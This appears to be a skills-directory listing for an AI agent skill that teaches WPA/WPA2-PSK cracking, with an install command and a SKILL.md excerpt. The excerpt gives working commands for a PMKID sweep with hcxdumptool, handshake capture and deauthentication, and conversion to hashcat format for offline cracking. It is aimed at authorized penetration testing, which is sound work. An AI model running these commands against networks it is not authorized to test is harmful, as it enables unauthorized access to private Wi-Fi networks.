Agent skill

offensive-wpa2-psk

WPA/WPA2-PSK attack methodology — four-way handshake capture via targeted deauthentication, PMKID attacks (no client required), hcxdumptool / hcxpcapngtool conversion to hashcat hc22000 format, GPU-accelerated cracking with dictionary, mask, and rule-based attacks, vendor default-PSK generators (UPC, Sky, BT, etc.), 802.11r FT key cracking, opportunistic key cache analysis, and signal-level optimization. Use when the in-scope network is WPA/WPA2 Personal — the most common consumer/SMB encryption mode.

SnailSploitgithub.com/SnailSploitGitHub ↗
claude-codeMIT
Install
npx skills add SnailSploit/Claude-Red --skill offensive-wpa2-psk --agent claude-code

Same command for any agent — swap --agent for codex, cursor, copilot.

Facts
Files in the skill folder: 1
SKILL.md size: 6 KB
Bundled scripts: none
Path: Skills/wireless/offensive-wpa2-psk/SKILL.md
Open the folder on GitHub →
Where it comes from
Stars: 2,808
Language: Python
Read our review of the source →

Weekly change comes from our own snapshots, not the repository page — it measures attention, not adoption.

From the SKILL.md

# WPA/WPA2-PSK Attacks The default mode for almost every consumer and SMB Wi-Fi network. The four-way handshake's PMKID and EAPOL frames give you everything you need to crack offline — no online attempts, no lockout, no detection signal beyond the deauth (which you can avoid with PMKID). ## Quick Workflow 1. Identify the target BSSID, channel, and encryption (see `offensive-wifi-recon`) 2. Try PMKID first (fast, no client interaction) 3. Fall back to four-way handshake capture if PMKID isn't yielded 4. Convert capture to hashcat-compatible format 5. Crack offline with appropriate wordlist + rules + masks --- ## PMKID Attack (Preferred When Possible) The PMKID is included in the first message of the four-way handshake. Many APs leak it in response to a single association request — no real client needed. ```bash # Setup sudo airmon-ng check kill && sudo airmon-ng start wlan0 sudo iw reg set US # Sweep PMKIDs across all visible APs sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \ --enable_status=1 \ --filterlist_ap=targets.txt --filtermode=2 # Convert to hashcat format hcxpcapngtool -o hash.hc22000 pmkid.pcapng ``` `targets.txt` contains BSSIDs (one per line) you're authorized to attack

What's inside
Steps it walks through
  1. Quick Workflow
  2. PMKID Attack (Preferred When Possible)
  3. Four-Way Handshake Capture
  4. Verifying the Capture
  5. Cracking
  6. Dictionary + Rules
  7. Mask Attacks for Common Default Patterns
  8. Vendor Default Generators
  9. 802.11r FT Cracking
  10. Tuning Cracking Performance
  11. Opportunistic Key Cache (OKC)
  12. Detection Considerations
  13. Engagement Cheatsheet
  14. Key References
Commands it runs
Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US
Sweep PMKIDs across all visible APs
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
Convert to hashcat format
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
Pin to channel
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
Targeted deauth (single client, low volume)
More from Claude-Red
All skills →
About this skill
What does the offensive-wpa2-psk skill do?

WPA/WPA2-PSK attack methodology — four-way handshake capture via targeted deauthentication, PMKID attacks (no client required), hcxdumptool / hcxpcapngtool conversion to hashcat hc22000 format, GPU-accelerated cracking with dictionary, mask, and rule-based attacks, vendor default-PSK generators (UPC, Sky, BT, etc.), 802.11r FT key cracking, opportunistic key cache analysis, and signal-level optimization. Use when the in-scope network is WPA/WPA2 Personal — the most common consumer/SMB encryption mode.

How do I install it?

Run `npx skills add SnailSploit/Claude-Red --skill offensive-wpa2-psk --agent claude-code` — it drops the skill into your project so the agent can pick it up. Swap the --agent value for codex, cursor or copilot if you use one of those.

Where does this skill come from?

From SnailSploit/Claude-Red, a repository with 2,808 stars. We read it straight from the repository tree rather than a submitted listing, so what you see here is what is actually published.

Is a popular skill a good skill?

Not necessarily. Stars measure attention, not adoption — a repository can trend for a week and be abandoned. That is why we show the weekly change from our own snapshots next to the total, instead of a single flattering number.

Keep going